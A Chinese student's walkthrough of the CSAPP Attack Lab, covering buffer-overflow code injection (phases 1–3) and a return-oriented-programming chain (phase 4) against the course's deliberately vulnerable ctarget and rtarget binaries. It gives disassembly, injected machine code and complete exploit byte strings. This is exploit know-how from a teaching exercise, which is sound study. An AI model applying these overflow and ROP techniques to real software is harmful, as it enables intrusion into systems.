CSAPP lab3: attack lab
 
写在前面 以后做lab之前, 一定要看官网的README和Writeup!!!
attack lab如果不看这两个东西的话根本就不知道要干嘛(前两个lab我就没看这两个东西, 做的就比较困难, 虽然都做出来了)
对于这个lab而言, 还要充分理解小端序机器是如何存储字节码的
概述 暂时没有, 因为这篇是边做边写的
工具 hex2raw 将输入二进制序列转化为字符串 
题解 ctarget 约定 
本target的做法都是利用缓冲区溢出注入二进制代码 
执行ctarget时要加上-q指令, 防止其连接远程服务器(在gdb调试时, r -q来运行) 
三个phase的难度是递增的 
 
通用函数 getbuff 1 2 3 4 5 6 7 8 9 00000000004017a8 <getbuf>:   4017a8:	48 83 ec 28          	sub    $0x28,%rsp   4017ac:	48 89 e7             	mov    %rsp,%rdi   4017af:	e8 8c 02 00 00       	call   401a40 <Gets>   4017b4:	b8 01 00 00 00       	mov    $0x1,%eax   4017b9:	48 83 c4 28          	add    $0x28,%rsp   4017bd:	c3                   	ret       4017be:	90                   	nop   4017bf:	90                   	nop 
 
这个函数提供一个40字节的缓冲区供我们输入, 当输入超过这个数的时候就可以do something interesting
Phase 1: ctarget.l1 这个phase要求我们在执行完getbuff()之后跳转到touch1()函数, 以下是touch1()函数的反汇编
1 2 3 4 5 6 7 8 9 10 00000000004017c0 <touch1>:   4017c0:	48 83 ec 08          	sub    $0x8,%rsp   4017c4:	c7 05 0e 2d 20 00 01 	movl   $0x1,0x202d0e(%rip)        # 6044dc <vlevel>   4017cb:	00 00 00    4017ce:	bf c5 30 40 00       	mov    $0x4030c5,%edi   4017d3:	e8 e8 f4 ff ff       	call   400cc0 <puts@plt>   4017d8:	bf 01 00 00 00       	mov    $0x1,%edi   4017dd:	e8 ab 04 00 00       	call   401c8d <validate>   4017e2:	bf 00 00 00 00       	mov    $0x0,%edi   4017e7:	e8 54 f6 ff ff       	call   400e40 <exit@plt> 
 
我们知道ret指令相当于以下指令
 
即把当前栈顶的前8个字节内容赋值给rip寄存器, 我们知道函数调用有一个规则是:
如果函数A()调用函数B(), 那么A()的栈帧最顶端8个字节就是B()结束后的下一条指令的地址, 如图所示
 
我们在执行getbuff()函数时如果溢出, 那么最先受影响的就是下一条指令的地址, 那我们就把这个位置变成touch1()函数的地址就好了
所以我们需要输入的二进制序列为
1 2 3 4 5 6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 c0 17 40 00 00 00 00 00 
 
然后就成功了
Phase 2: ctarget.l2 这个phase要求我们执行完getbuf()后跳转到touch2()函数, 但是与phase1不同的是, 我们要给touch2()函数传一个参数: cookie值
先看看touch2()的反汇编
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 00000000004017ec <touch2>:   4017ec:	48 83 ec 08          	sub    $0x8,%rsp   4017f0:	89 fa                	mov    %edi,%edx   4017f2:	c7 05 e0 2c 20 00 02 	movl   $0x2,0x202ce0(%rip)        # 6044dc <vlevel>   4017f9:	00 00 00    4017fc:	3b 3d e2 2c 20 00    	cmp    0x202ce2(%rip),%edi        # 6044e4 <cookie>   401802:	75 20                	jne    401824 <touch2+0x38>   401804:	be e8 30 40 00       	mov    $0x4030e8,%esi   401809:	bf 01 00 00 00       	mov    $0x1,%edi   40180e:	b8 00 00 00 00       	mov    $0x0,%eax   401813:	e8 d8 f5 ff ff       	call   400df0 <__printf_chk@plt>   401818:	bf 02 00 00 00       	mov    $0x2,%edi   40181d:	e8 6b 04 00 00       	call   401c8d <validate>   401822:	eb 1e                	jmp    401842 <touch2+0x56>   401824:	be 10 31 40 00       	mov    $0x403110,%esi   401829:	bf 01 00 00 00       	mov    $0x1,%edi   40182e:	b8 00 00 00 00       	mov    $0x0,%eax   401833:	e8 b8 f5 ff ff       	call   400df0 <__printf_chk@plt>   401838:	bf 02 00 00 00       	mov    $0x2,%edi   40183d:	e8 0d 05 00 00       	call   401d4f <fail>   401842:	bf 00 00 00 00       	mov    $0x0,%edi   401847:	e8 f4 f5 ff ff       	call   400e40 <exit@plt> 
 
这个汇编代码除了告诉我们函数的入口为地址0x4017ec外其实没有什么用, 因为CSAPP官网的write up文件给出了touch2()的C代码!
也就是要求我们调用touch2()的同时传入cookie作为参数
Writeup给出了advice
需要往rdi寄存器里写入cookie 
不要用jmp或call, 因为这两个参数的二进制代码不好确定, 用ret指令来完成 
附录B里有用gcc将汇编代码转为机器指令序列的方法 
 
 
那么一个显然的想法是我们用汇编代码写出来几个指令(把cookie存到%rdi, 调用touch2()函数), 然后通过缓冲区溢出重定向rip寄存器让程序执行这几个指令就可以了
首先把cookie移到%rdi
我的cookie是0x59b997fa, 所以汇编指令如下
 
然后来到了关键的一步: 调用touch2()函数, 我一开始想的是直接把他的地址移到%rip里
 
但是在转成机器指令.o文件的时候出错了, 说mov指令操作数不对, 原因是我们并不能以任何形式直接对rip寄存器的内容更改! 人家提示里也说了, 用ret指令来完成这个操作。 前边也说过了ret指令干什么事, 所以这里就需要我们对rsp寄存器操作一下, 我们把0x4017ec写到栈里, 然后让rsp指向这个地址就可以了
最终要执行的指令序列为
1 2 3 movl    $0x59b997fa,%edi sub    $0x20,%rsp # 等会会解释为什么这样做 ret 
 
转换成16进制机器指令序列, 得到需要的字节码
1 2 3 4 5 6 7 8 9 10 11 phase_2.o:     file format elf64-x86-64 Disassembly of section .text: 0000000000000000 <.text>:    0:	bf fa 97 b9 59       	mov    $0x59b997fa,%edi    5:	48 83 ec 20          	sub    $0x20,%rsp    9:	c3                   	retq    
 
为了方便后续的解释, 先放出这个phase的答案
1 2 3 4 5 6 bf fa 97 b9 59 48 83 ec # 这是getbuf()的那个ret会传给rip的那个地址的内容 20 c3 00 00 00 00 00 00 ec 17 40 00 00 00 00 00 # ret(这是我们自己写的那个ret)里会传给rip的touch2()地址, 注意是小端序!!! 00 00 00 00 00 00 00 00 # 00 00 00 00 00 00 00 00 # 这两行点用没有 78 dc 61 55 00 00 00 00 # 这是getbuf()的那个ret会传给rip的地址 
 
为了确定要注入到rip寄存器的地址, 我们先看看我们的输入具体是被存到哪里了(内存中的哪个地址)
0x5561dc78, 这就是我们放输入的可执行序列的地方, 也是我们要让getbuf()执行完后跳转到的地方, 所以要像phase1那样把它写到最后, 溢出覆盖原来的返回位置, 画个丑图解释一下, 这是getbuf()刚返回后的状态, 此时$rip = 0x5561dc78, 图中每一行是8个字节(地址的箭头应该从右边出来的, 因为右边是低地址, 这里纯粹是为了好看)
讲起来确实有点麻烦, 自己做的话感觉还好
Phase 3: ctarget.l3 这个phase要求我们调用touch3(), 并且传入一个字符串等于我们的cookie。 和phase2不同的是touch3()会调用另一个函数hexmatch()(这两个函数的C代码Writeup里都有, 也是Writeup告诉我该干嘛的, 所以一定要看Writeup), 因为存在函数调用关系, 肯定会在栈上增加返回地址, 而且这个hexmatch()函数可也用了栈空间, 有可能会覆盖我们的输入(主要是传给touch3()的那个参数里的字符串(输入的cookie), 在hexmatch()里要用来比较, 不能被覆盖, 别的都无所谓, 因为它们已经被利用完了)
还是放一下这两个函数的反汇编吧(虽然我觉得用处不大)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 000000000040184c <hexmatch>:   40184c:	41 54                	push   %r12   40184e:	55                   	push   %rbp   40184f:	53                   	push   %rbx   401850:	48 83 c4 80          	add    $0xffffffffffffff80,%rsp   401854:	41 89 fc             	mov    %edi,%r12d   401857:	48 89 f5             	mov    %rsi,%rbp   40185a:	64 48 8b 04 25 28 00 	mov    %fs:0x28,%rax   401861:	00 00    401863:	48 89 44 24 78       	mov    %rax,0x78(%rsp)   401868:	31 c0                	xor    %eax,%eax   40186a:	e8 41 f5 ff ff       	call   400db0 <random@plt>   40186f:	48 89 c1             	mov    %rax,%rcx   401872:	48 ba 0b d7 a3 70 3d 	movabs $0xa3d70a3d70a3d70b,%rdx   401879:	0a d7 a3    40187c:	48 f7 ea             	imul   %rdx   40187f:	48 01 ca             	add    %rcx,%rdx   401882:	48 c1 fa 06          	sar    $0x6,%rdx   401886:	48 89 c8             	mov    %rcx,%rax   401889:	48 c1 f8 3f          	sar    $0x3f,%rax   40188d:	48 29 c2             	sub    %rax,%rdx   401890:	48 8d 04 92          	lea    (%rdx,%rdx,4),%rax   401894:	48 8d 04 80          	lea    (%rax,%rax,4),%rax   401898:	48 c1 e0 02          	shl    $0x2,%rax   40189c:	48 29 c1             	sub    %rax,%rcx   40189f:	48 8d 1c 0c          	lea    (%rsp,%rcx,1),%rbx   4018a3:	45 89 e0             	mov    %r12d,%r8d   4018a6:	b9 e2 30 40 00       	mov    $0x4030e2,%ecx   4018ab:	48 c7 c2 ff ff ff ff 	mov    $0xffffffffffffffff,%rdx   4018b2:	be 01 00 00 00       	mov    $0x1,%esi   4018b7:	48 89 df             	mov    %rbx,%rdi   4018ba:	b8 00 00 00 00       	mov    $0x0,%eax   4018bf:	e8 ac f5 ff ff       	call   400e70 <__sprintf_chk@plt>   4018c4:	ba 09 00 00 00       	mov    $0x9,%edx   4018c9:	48 89 de             	mov    %rbx,%rsi   4018cc:	48 89 ef             	mov    %rbp,%rdi   4018cf:	e8 cc f3 ff ff       	call   400ca0 <strncmp@plt>   4018d4:	85 c0                	test   %eax,%eax   4018d6:	0f 94 c0             	sete   %al   4018d9:	0f b6 c0             	movzbl %al,%eax   4018dc:	48 8b 74 24 78       	mov    0x78(%rsp),%rsi   4018e1:	64 48 33 34 25 28 00 	xor    %fs:0x28,%rsi   4018e8:	00 00    4018ea:	74 05                	je     4018f1 <hexmatch+0xa5>   4018ec:	e8 ef f3 ff ff       	call   400ce0 <__stack_chk_fail@plt>   4018f1:	48 83 ec 80          	sub    $0xffffffffffffff80,%rsp   4018f5:	5b                   	pop    %rbx   4018f6:	5d                   	pop    %rbp   4018f7:	41 5c                	pop    %r12   4018f9:	c3                   	ret     00000000004018fa <touch3>:   4018fa:	53                   	push   %rbx   4018fb:	48 89 fb             	mov    %rdi,%rbx   4018fe:	c7 05 d4 2b 20 00 03 	movl   $0x3,0x202bd4(%rip)        # 6044dc <vlevel>   401905:	00 00 00    401908:	48 89 fe             	mov    %rdi,%rsi   40190b:	8b 3d d3 2b 20 00    	mov    0x202bd3(%rip),%edi        # 6044e4 <cookie>   401911:	e8 36 ff ff ff       	call   40184c <hexmatch>   401916:	85 c0                	test   %eax,%eax   401918:	74 23                	je     40193d <touch3+0x43>   40191a:	48 89 da             	mov    %rbx,%rdx   40191d:	be 38 31 40 00       	mov    $0x403138,%esi   401922:	bf 01 00 00 00       	mov    $0x1,%edi   401927:	b8 00 00 00 00       	mov    $0x0,%eax   40192c:	e8 bf f4 ff ff       	call   400df0 <__printf_chk@plt>   401931:	bf 03 00 00 00       	mov    $0x3,%edi   401936:	e8 52 03 00 00       	call   401c8d <validate>   40193b:	eb 21                	jmp    40195e <touch3+0x64>   40193d:	48 89 da             	mov    %rbx,%rdx   401940:	be 60 31 40 00       	mov    $0x403160,%esi   401945:	bf 01 00 00 00       	mov    $0x1,%edi   40194a:	b8 00 00 00 00       	mov    $0x0,%eax   40194f:	e8 9c f4 ff ff       	call   400df0 <__printf_chk@plt>   401954:	bf 03 00 00 00       	mov    $0x3,%edi   401959:	e8 f1 03 00 00       	call   401d4f <fail>   40195e:	bf 00 00 00 00       	mov    $0x0,%edi   401963:	e8 d8 f4 ff ff       	call   400e40 <exit@plt> 
 
这个phase有可能存在巧妙的组织你的输入各部分从而让你输入的cookie不会被覆盖(但是我懒得想), 既然后续操作用到了栈空间, 那我提前把%rsp减一个量不就行了吗, 这样后续申请栈空间就不会影响到我之前的输入, 所以这个phase也就比phase2多了一个操作rsp寄存器的指令, 然后排版一下我们的输入各部分, 计算各个部分的地址就可以了, 这里我们的输入应该分为四个部分:
注入的返回地址: 用于覆盖getbuf()函数的返回地址, 指向我们的可执行序列 
cookie: 用于后续的比较, 要把它的地址放到rdi寄存器里给touch3()函数当参数, 注意这里的cookie是当作字符串的, 也就是数字的高位要在低地址, 而不是phase2中当成数字的小端序 
可执行代码: 执行我们想让它执行的操作 
touch3()函数的地址: 这个东西要放在栈顶, 好让ret把它pop到rip寄存器里 
 
 
然后我们稍微做一下定位, 找到输入附近栈帧的内存位置
然后画一张图解释一下最终我们干了什么事
图中也给出了我们这个phase的答案
1 2 3 4 5 6 fa 18 40 00 00 00 00 00 48 83 ec 30 bf 90 dc 61 55 c3 00 00 00 00 00 00 35 39 62 39 39 37 66 61 00 00 00 00 00 00 00 00 80 dc 61 55 00 00 00 00 
 
说明一下各个部分是怎么来的
返回地址, 用gdb找的
 
cookie, Writeup里有写, man ascii对出来的, 注意后面要加至少一个00字节作为结束\0
 
可执行代码, 先写出我们的汇编代码, 然后按照Writeup附录B的内容操作就好了
 
touch3()函数的地址, 反汇编里有
 
 
那这个phase也就完成了!
rtatget 约定 
使用了栈随机化, 也就是说我们并不能确定输入的位置 
限制代码可执行区域, 也就是说就算我们找到了输入的位置, 也不能执行插入的指令序列 
只能使用给定的farm里的gadgets, 不要用别的地方的 
 
所以说我们唯一能做的就是让输入溢出getbuf()的返回后的地址(之前只溢出8个字节替代返回地址, 现在要溢出不止8个字节了), 然后让gadgets完成我们想要的操作然后ret会影响rsp和rip寄存器
Phase 4: rtarget.l2 Writeup说这个phase我们只需要用start_farm到mid_farm中的两个gadgets就足够了, 看看这其中都有哪些指令和gadgets
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 0000000000401994 <start_farm>:   401994:	b8 01 00 00 00       	mov    $0x1,%eax   401999:	c3                   	ret     000000000040199a <getval_142>:   40199a:	b8 fb 78 90 90       	mov    $0x909078fb,%eax   40199f:	c3                   	ret     00000000004019a0 <addval_273>:   4019a0:	8d 87 48 89 c7 c3    	lea    -0x3c3876b8(%rdi),%eax # 48 89 c7: movq	%rax,%rdi # 89 c7: movl	%eax,%edi   4019a6:	c3                   	ret     00000000004019a7 <addval_219>:   4019a7:	8d 87 51 73 58 90    	lea    -0x6fa78caf(%rdi),%eax # 58: popq    %rax   4019ad:	c3                   	ret     00000000004019ae <setval_237>:   4019ae:	c7 07 48 89 c7 c7    	movl   $0xc7c78948,(%rdi)   4019b4:	c3                   	ret     00000000004019b5 <setval_424>:   4019b5:	c7 07 54 c2 58 92    	movl   $0x9258c254,(%rdi)   4019bb:	c3                   	ret     00000000004019bc <setval_470>:   4019bc:	c7 07 63 48 8d c7    	movl   $0xc78d4863,(%rdi)   4019c2:	c3                   	ret     00000000004019c3 <setval_426>:   4019c3:	c7 07 48 89 c7 90    	movl   $0x90c78948,(%rdi) # 48 89 c7: ~ # 89 c7: ~   4019c9:	c3                   	ret     00000000004019ca <getval_280>:   4019ca:	b8 29 58 90 c3       	mov    $0xc3905829,%eax # 58: popq %rax   4019cf:	c3                   	ret     00000000004019d0 <mid_farm>:   4019d0:	b8 01 00 00 00       	mov    $0x1,%eax   4019d5:	c3                   	ret     
 
再给一下touch2()的地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 00000000004017ec <touch2>:   4017ec:	48 83 ec 08          	sub    $0x8,%rsp   4017f0:	89 fa                	mov    %edi,%edx   4017f2:	c7 05 e0 3c 20 00 02 	movl   $0x2,0x203ce0(%rip)        # 6054dc <vlevel>   4017f9:	00 00 00    4017fc:	3b 3d e2 3c 20 00    	cmp    0x203ce2(%rip),%edi        # 6054e4 <cookie>   401802:	75 20                	jne    401824 <touch2+0x38>   401804:	be 08 32 40 00       	mov    $0x403208,%esi   401809:	bf 01 00 00 00       	mov    $0x1,%edi   40180e:	b8 00 00 00 00       	mov    $0x0,%eax   401813:	e8 d8 f5 ff ff       	call   400df0 <__printf_chk@plt>   401818:	bf 02 00 00 00       	mov    $0x2,%edi   40181d:	e8 8b 05 00 00       	call   401dad <validate>   401822:	eb 1e                	jmp    401842 <touch2+0x56>   401824:	be 30 32 40 00       	mov    $0x403230,%esi   401829:	bf 01 00 00 00       	mov    $0x1,%edi   40182e:	b8 00 00 00 00       	mov    $0x0,%eax   401833:	e8 b8 f5 ff ff       	call   400df0 <__printf_chk@plt>   401838:	bf 02 00 00 00       	mov    $0x2,%edi   40183d:	e8 2d 06 00 00       	call   401e6f <fail>   401842:	bf 00 00 00 00       	mov    $0x0,%edi   401847:	e8 f4 f5 ff ff       	call   400e40 <exit@plt> 
 
我们发现实际可用的指令也就只有两个, 分别是
1 2 popq    %rax movq    %rax,%rdi 
 
这两个也够了, 反正我们只要把cookie放到rdi寄存器里然后调用touch2()就可以了, 别忘了这两个指令执行完后都跟着一个ret指令
上一张图解释一下我们要溢出的那些内容
我们来模拟一下从getbuf()函数返回开始都发生了什么(以getbuf()的返回地址为基准, 用偏移来表示栈上的地址)
此时$rsp=0x0, getbuf()函数执行ret语句, 把popq指令的地址给rip寄存器, 并让$rsp+=8 
此时$rsp=0x8, popq指令执行, 把cookie的地址给rax寄存器, 并让$rsp+=8 
此时$rsp=0x10, ret指令执行, 把movq指令的地址给rip寄存器, 并让$rsp+=8 
此时$rsp=0x18, movq指令执行, 将rax寄存器的内容复制给rdi寄存器 
此时$rsp=0x18, ret指令执行, 把touch2()函数的地址给rip寄存器, 并让$rsp+=8 
touch2()函数执行, 操作成功 
 
 
这样我们就达到了我们的目的, 别忘了前面还需要40个字节来先填满缓冲区, 所以最终的答案为
1 2 3 4 5 6 7 8 9 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ab 19 40 00 00 00 00 00 fa 97 b9 59 00 00 00 00 a2 19 40 00 00 00 00 00 ec 17 40 00 00 00 00 00 
 
运行
phase4完成!
Phase 5: rtarget.l3 Writeup里说这个phase作者设置的很难, 而且只有5分, 是给who want to go beyond the normal expectations for the course准备的, 我觉得可能就麻烦一点, 应该也没什么难的, 回头做(刚看到Advice说official solution用了8个gadgets, 那应该也不简单)